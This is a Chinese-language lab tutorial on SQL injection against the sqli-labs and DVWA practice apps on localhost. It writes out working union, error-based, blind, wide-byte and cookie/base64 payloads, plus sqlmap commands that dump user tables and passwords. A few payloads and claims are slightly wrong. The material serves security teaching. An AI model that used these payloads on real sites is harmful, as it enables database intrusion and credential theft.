目录
2、extractvalue() -- 对xml文档进行查询的函数
文章涉及的工具有PHPstudy、burpsuite(关于burpsuite的安装,大家可以在网上搜,有疑惑的也可以私信问我)、sqli-labs、sqlmap、dvwa
声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任
1、SQL注入的原理
服务器未严格校验客户端发送的数据,从而导致服务器SQL语句被恶意修改并执行成功。本质就是用户输入的数据被当作了代码执行。
2、SQL注入的步骤
2.1、判断注入类型,是字符型还是数字型
# 数字型
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
# 字符型
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
判断方式:(1)
1 and 1=1
1 and 1=2
由于1=2是错误的,如果查询结果为空那么证明是数字型。如果是字符型,由于数据类型不匹配,那么应该都是不会返回结果的。但是如果user_id本身是int类型的话,那么是会返回结果的。并且会造成1 and 1=2在字符类型中会返回user_id为1的查询结果。当然如果第二个语句返回了结果,我们也可以以此判断出该注入类型是字符型。如下图
http://127.0.0.1/sqli/Less-1/?id=1 and 1=1
http://127.0.0.1/sqli/Less-1/?id=1 and 1=2
(2)
1' and '1'='1
1' and '1'='2
如果是数据型注入,变量没有加引号,所以拼接后会提示SQL语法错误,判断为数字型注入。对于字符型注入,第一行语句输入后和原本的引号前后完全闭合,且逻辑成立,所以回显出user_id为1的数据;第二行语句输入后,前后引号也完全闭合,但逻辑不成立,所以返回结果为空。
http://127.0.0.1/sqli/Less-1/?id=1' and '1'='1
http://127.0.0.1/sqli/Less-1/?id=1’ and ‘1’=’2
http://127.0.0.1/sqli/Less-2/?id=1' '1'='1
2.2、猜解字段数
猜解字段名用的为 order by +数字 -- asd 去查看是否报错来判断字段数,-- 是用来截断SQL语句的
- 假设为字符型注入
http://127.0.0.1/sqli/Less-1/?id=1' or 1=1 order by 3 -- asd
http://127.0.0.1/sqli/Less-1/?id=1’ or 1=1 order by 4 -- asd
所以该表的字段为3
- 假设为数字型注入
http://127.0.0.1/sqli/Less-2/?id=1 or 1=1 order by 3 -- asd
http://127.0.0.1/sqli/Less-2/?id=1 or 1=1 order by 4 -- asd
所以该表的字段数为3
2.3、union联合查询
联合查询的目的是前一条命令错误,后一条命令自动补上。
2.3.1、确定字段显示顺序
http://127.0.0.1/sqli/Less-2/?id=1’ union select 1,2,3 -- asd
2.3.2、查询数据库名称
http://127.0.0.1/sqli/Less-1/?id=0' union select 1,2,database(),3 -- asd
所以连接的数据库为security
2.3.3、查询PHP版本
http://127.0.0.1/sqli/Less-1/?id=0’ union select 1,2,version(),3 -- asd
发现PHP版本在5.以上,说明有information_schema 这个库
2.3.4、查询表名
http://127.0.0.1/sqli/Less-1/?id=999' union select 1,2,table_name from information_schema.tables where table_schema=database() -- asd
Information_schema在上一篇文章中有提到过,这里的database()指的是当前数据库,即security。这里可以用limit来获取更多的表名,不添加则只显示第一个。如limit 0,1表示取第一个数据;limit 1,1是取第二个数据。
select table_name from information_schema.tables where table_schema='security' limit 0,4;
但是在网页上通过limit只能一个一个查
我们可以用下面这个命令查看指定数据库的所有表名
http://127.0.0.1/sqli/Less-1/?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- asd
2.3.5、爆破表中的字段
我们这里选择users表,只需要指定表名即可
http://127.0.0.1/sqli/Less-1/?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' -- asd
也可以直接指定数据库
http://127.0.0.1/sqli/Less-1/?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' -- asd
2.3.6、获取表中数据
这里一共获取了3个字段,
http://127.0.0.1/sqli/Less-1/?id=0' union select 1,2,group_concat(id,username,password) from users -- asd
可以看到爆破出很多数据。
3、sqlmap的使用
Sqlmap是用的最为广泛的自动化检测、利用sQL注入的渗透测试工具支持多种数据库。利用工具可以提高我们的效率。
检测方式: union联合查询注入、布尔盲注、时间盲注、报错注入、堆叠注入
下载地址: GitHub - sqlmapproject/sqlmap: Automatic SQL injection and database takeover tool
下载好后直接解压,加入到python.exe下,就可以直接在cmd调用常用最基础指令:
-u指定注入点,即攻击链接
--tables跑表名
--columns跑字段名
--dump枚举数据
--batch 自动选是
-D指定库
-T指定表
-C指定字段
-p指定可测试的参数
查看注入点
python.exe sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1
查询所有表
python.exe sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 --tables
查询所有数据库
python.exe sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 -dbs
查询数据库test下的表
python.exe sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 -D test --tables
查询player表下的字段
python.exe sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 -D test -T players --columns
指定字段,枚举数据
python.exe sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 -D test -T player -C id,year,name,number --dump
4、报错注入
报错注入:利用报错信息,结合函数规则进行读取数据的一种注入方式
场景:没有回显点,但有报错信息时则可以使用报错注入
常用函数
1、updatexml() --更新xml文档函数
语法:updatexml(目标xml内容,xml文件路径,更新的内容)
select updatexml(1,concat('$',(select database())),1);
http://127.0.0.1/sqli/Less-5/?id=0' and updatexml(1,concat('$',(select database())),1) -- asd
http://127.0.0.1/sqli/Less-5/?id=0' and updatexml(1,concat('$',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) -- asd
http://127.0.0.1/sqli/Less-5/?id=0' and updatexml(1,concat('$',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')),1) -- asd
http://127.0.0.1/sqli/Less-5/?id=0' and updatexml(1,concat('$',(select group_concat(id,username,password) from users)),1) -- asd
看不完,我们可以一个字段一个字段的查
http://127.0.0.1/sqli/Less-5/?id=0' and updatexml(1,concat('$',(select username from users limit 1,1)),1) -- asd
2、extractvalue() -- 对xml文档进行查询的函数
语法:extractvalue(目标xml文档,xml路径)
第二个参数XML路径是可操作的地方
select extractvalue(1,concat(‘$’,database()));
和updatexml()一样的用法
5、盲注
盲注就是服务器在没有错误回显的时候完成的注入攻击。
服务器没有错误回显,对于渗透测试人员来说缺少了非常重要的“调试信息”
5.1、常用函数
length() 函数 返回字符串长度
substr() 函数 截取字符串
substr(str,m,n) m是从第m个字符开始截取,n是长度
concat() 字符串拼接函数
ascii() 返回字符的ascii码
sleep() 休眠,将程序挂起,单位是秒
If(exp1,exp2,exp3) 判断语句,如果第一个语句正确就执行第二个语句,如果错误就执行第三个语句。
5.2、布尔盲注
- 页面有回显,但是不会显示具体报错信息
- 只会根据传参返回true和false
substr() 函数判断版本号
http://127.0.0.1/sqli/Less-8/?id=1' and substr(version(),1,1)=5 -- asd
显示正常,所以PHP版本为5
length()判断字符串长度
http://127.0.0.1/sqli/Less-8/?id=1' and length(database())=8 -- asd
所以数据库长度为8,常见的就是security,’s’的ascii码值为115,猜一下
ascii()验证猜想
http://127.0.0.1/sqli/Less-8/?id=1' and ascii(substr(database(),1,1))=115 -- asd
再验证第二个数’e’为101看一下
http://127.0.0.1/sqli/Less-8/?id=1' and ascii(substr(database(),2,1))=101-- asd
5.3、时间盲注
(1)传参任何东西的结果都一样
(2)页面返回值只有一种,true,无论输入任何值,返回情况都会按照正常的进行处理
(3)加入特定的时间函数,通过查看web页面返回的时间差来判断注入语句是否正确
通过添加睡眠时间来判断命令是否被执行
http://127.0.0.1/sqli/Less-9/?id=1’ and sleep(5) -- asd
检查if语句是否可用
自行验证:
http://127.0.0.1/sqli/Less-9/?id=1' and if((substr(select version()1,1)=5),sleep(10),null) -- asd
http://127.0.0.1/sqli/Less-9/?id=1' and if(length(database())=8,sleep(10),null) -- asd
http://127.0.0.1/sqli/Less-9/?id=1' and if(ascii(substr(database(),1,1))=115,sleep(10),null) -- asd
然后就是进行猜解了
这样是比较耗时间的,所以我们使用sqlmap工具
python.exe sqlmap.py -u http://127.0.0.1/sqli/Less-9/?id=1 --batch
python.exe sqlmap.py -u http://127.0.0.1/sqli/Less-9/?id=1 --batch --dump
6、宽字节注入
6.1、魔术引号
addslashes()函数
判断解析用户提交的数据,如包括有: post、get、cookie过来的数据增转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为殊字符引起的污染而出现致命的错误。
单引号(’)、双引号(”)、反斜线(\)等字符都会被加上反斜线
魔术引号函数的作用:当PHP的传参中有特殊字符就会再前面加转义字符'\',来做一定的过滤单引号和双引号内的一切都是字符串,那我们输入的东西如果不能闭合掉单引号和双引号,我们的输入就不会当作代码执行,就无法产生SQL注入,那我们该怎么办?
6.2宽字节注入
宽字节注入原理:目前多数网站使用的都为UTF-8编码,如果MySQL数据库的编码设置为GBK编码,此时就会产生宽字节注入攻击。
UTF-8编码:一个中文字符占三个字节
GBK编码:一个中文字符占两个字节
如何绕过\?
汉字\’ ——》%df%5c%27
http://127.0.0.1/sqli/Less-32/?id=1%df’ order by 3 -- asd
http://127.0.0.1/sqli/Less-32/?id=0%df’ union select 1,database(),version() -- asd
其他步骤参考上文
7、堆叠注入
7.1、堆叠注入定义
一堆(多条)SQL语句一起执行,如下图:
7.2、堆叠注入原理
在SQL语句中,分号(;)代表一条SQL语句的结束。如果我们在一条SQL语句结束时,继续构造下一条SQL语句一起执行,这就造就了堆叠注入。
堆叠注入和union查询的区别:
union和union all 执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以
执行任意的语句。
验证是否有堆叠注入:1;select sleep(5) -- asd
8、二次注入
8.1、二次注入简介
二次注入漏洞是一种在web应用程序中广泛存在的安全漏洞形式。相对于一次注入漏洞而言,二次注入漏洞更难以发现,但是它却具有与一次注入攻击漏洞相同的攻击威力。
8.2、二次注入原理
二次注入的原理,在第一次进行数据库插入数据的时候,仅仅只是使用了addslashes或者是借助get_magic_quotes_gpc对其中的特殊字符进行了转义,但是addslashes有一个特点就是虽然参数在过滤一会添加“\”进行转义,但是“\”并不会插入到数据库中,在写入数据库的时候还保留了原来的数据。
在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。
常见场景:修改密码
9、cookie&&base64注入
9.1、什么是cookie?
Cookie其实就是一些数据信息,类型为“小型文本文件”,存储在电脑上的文本文件中。它包含有关用户的信息,无论何时用户链接到服务器,Web 站点都可以访问 Cookie 信息。
(1)Cookie 是浏览器访问服务器后,服务器传给浏览器的一段数据。
(2) 浏览器需要保存这段数据,不得轻易删除。
(3)此后每次浏览器访问该服务器,都必须带上这段数据。
Cookie的作用:
识别用户身份
记录历史
Cookie的表示:
一般情况下以键值对(key-value)的方式进行表示
Cookie的组成
Name:这个是cookie的名字
Value:这个是cooke的值
Domain属性:指定了可以访问该 Cookie 的 Web 站点或域。Cookie 机制并未遵循严格的同源策略,允许一个子域可以设置或获取其父域的 Cookie。当需要实现单点登录方案时,Cookie 的上述特性非常有用,然而也增加了 Cookie受攻击的危险,比如攻击者可以借此发动会话定置攻击。因而,浏览器禁止在 Domain 属性中设置.org、.com 等通用顶级域名、以及在国家及地区顶级域下注册的二级域名,以减小攻击发生的范围
Path:这个定义了Web站点上可以访问该Cookie的目录
Expires:这个值表示cookie的过期时间,也就是有效值,cookie在这个值之前都有效。
Size:这个表示cookie的大小
HTTPOnly 属性 :用于防止客户端脚本通过document.cookie属性访问Cookie,有助于保护Cookie不被跨站脚本攻击窃取或篡改。但是,HTTPOnly的应用仍存在局限性,一些浏览器可以阻止客户端脚本对Cookie的读操作,但允许写操作;此外大多数浏览器仍允许通过XMLHTTP对象读取HTTP响应中的Set-Cookie头。
Secure属性:指定是否使用HTTPS安全协议发送Cookie。使用HTTPS安全协议,可以保护Cookie在浏览器和Web服务器间的传输过程中不被窃取和篡改。该方法也可用于Web站点的身份鉴别,即在HTTPS的连接建立阶段,浏览器会检查Web网站的SSL证书的有效性。但是基于兼容性的原因(比如有些网站使用自签署的证书)在检测到SSL证书无效时,浏览器并不会立即终止用户的连接请求,而是显示安全风险信息,用户仍可以选择继续访问该站点。由于许多用户缺乏安全意识,因而仍可能连接到Pharming攻击所伪造的网站。
9.2、cookie注入原理
从cookie头部传入id参数,根据ID参数的不同返回不同的内容。
实战:sqli-Less20
首先拿到这样一个页面
先随便登一个用户,点击提交
然后开启开启burpsuite抓包
发送到repeater中,然后点击send
尝试在cookie注入,这里我们采用报错注入
也可以将该包发送到浏览器(先将repeter中修改后的内容替换proxy下的intercept,就是刚刚抓包的位置,然后点击forward发送给浏览器)
其他注入方式就一样了
9.3、base64注入原理
网站使用了base64加密传参值,然后使用base64解码之后进行带入查询。相当于中间多了一层加密。
实战:Less21
需要注意的是,对于空格base64编码会出现一些问题,所以我们的闭合就不再用-- asd,
而是用and’1’=’1 进行一个闭合。当然你也可以先试试和上面一样的注入先试一试
由于21和20关前面都差不多,我这里直接进行抓包注入。
Base在线编码解码:https://ctf.bugku.com/tool/base64
可以看到,admin是经过编码的,直接注入
10、DVWA之SQL注入
10.1、DVWA安装
下载链接:https://pan.baidu.com/s/1DouNO8hUfAMTj0RegKVKIQ
提取码:ua18
(提示low.php文件携带病毒,这个是文件上传漏洞的low级别关卡,添加信任就行)
把下载好的DVWA的压缩包解压在之前安装PHPStudy文件夹下的WWW目录(先解压再复制到此目录也可以,注意 是把整个文件夹复制到此目录,而不是各个文件),改名为DVWA如图:
(1)找到DVWA- 下面的config文件夹,打开config.inc.php.dist文件,修改这里的默认密码 “p@ssw0rd” 为 “root”,默认账号“dvwa"为”root“保存,然后还需要把config.inc.php.dist的后缀“.dist”删除,最后文件名就剩config.inc.php
(2)访问127.0.0.1/DVWA,点击创建数据库
(3)登录:默认用户名为admin,密码为password。
然后选择级别就可以开始练习使用了
10.2、SQL Injection
1、Low级别
首先判断注入类型,输入1’,发现爆出错误,可以判断出这是一个单引号闭合
然后随便输入1,2,3这些数,上面id在变换,可知他是一个动态网站,再用之前的方法判断是否存在注入点
可以看出是存在注入点的
然后就是猜字段了
http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1’ order by 2 -- asd&Submit=Submit#
经过尝试,发现字段数为2,我们可以尝试联合注入,查询版本和数据库名
http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=0' union select database(),version() -- asd&Submit=Submit#
然后查询当前数据库表名,我这里注入语句一直报错,
然后再执行注入语句
http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=0' union select database(),group_concat(table_name) from information_schema.tables where table_schema=database() -- asd&Submit=Submit#
两个表:guestbook,users
爆破字段
http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=0' union select database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' -- asd&Submit=Submit#
再根据字段进行爆破
http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=0' union select database(),group_concat(user,password) from users -- asd&Submit=Submit#
密码是经过MD5加密处理的,进行解密:md5在线解密破解,md5解密加密
所以admin 密码为 password,其他解密一样的
2、Medium级别
中级打开没有输入,只提供选项,可以通过burpsuite抓包,然后修改数据
发送到repeater在id=1处尝试进行注入
1 union select database(),version() -- asd
获取数据库中的表
1 union select database(),group_concat(table_name) from information_schema.tables where table_schema=database() -- asd
获取字段
1 union select database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’users’ -- asd
尝试发现报错,这里是因为单引号被转义了,可以用16进制绕过(‘users’)
网站http://tool.huixiang360.com/str/hex.php
user--->7573657273
1 union select database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273 -- asd
获取用户名和密码,接下来就不用多说了。
3、High级别
这一关也没什么太大区别,直接尝试burp抓包注入即可
10.3、SQL Injection (Blind)
1、Low级别
这几关是盲注,之前sqli-labs的内容也有盲注,直接先看题。打开是和刚刚一样的界面
输入1 and 1=1,1 and 1=2,还有1’ 来判断注入类型,在输入1’ 时出现报错
可知他是一个单引号闭合,然后判断版本号判断数据库
1' and substr(version(),1,1)=5 -- asd
猜想数据库名长度,当为4的时候正确
1' and length(database())=4 -- asd
判断数据库,猜一下是不是dvwa,d-->100,v-->118,w-->119,a-->97
参考:http://t.csdn.cn/xFmSs
1' and ascii(substr(database(),1,1))=100 -- asd
判断正确之后,继续判断其他字母
判断表长度,一个一个试就行
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 -- asd
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=4 -- asd
然后再根据长度猜表名
判断字段,先确定字段数量,再确定字段名,然后获取密码也是一样的思路
2、Medium级别
中级改成了下拉框,我们用burpsuite抓包查看
在下方id=1处进行和之前一样的注入。
3、High级别
高级别的盲注采用时间盲注,通过cookie处传递id参数。时间盲注之前也有提到,通过if语句,执行为空或者执行正确时执行sleep函数,来判断语句是否在数据库中运行。
关于dvwa中的注入,大家也可以使用sqlmap工具进行注入。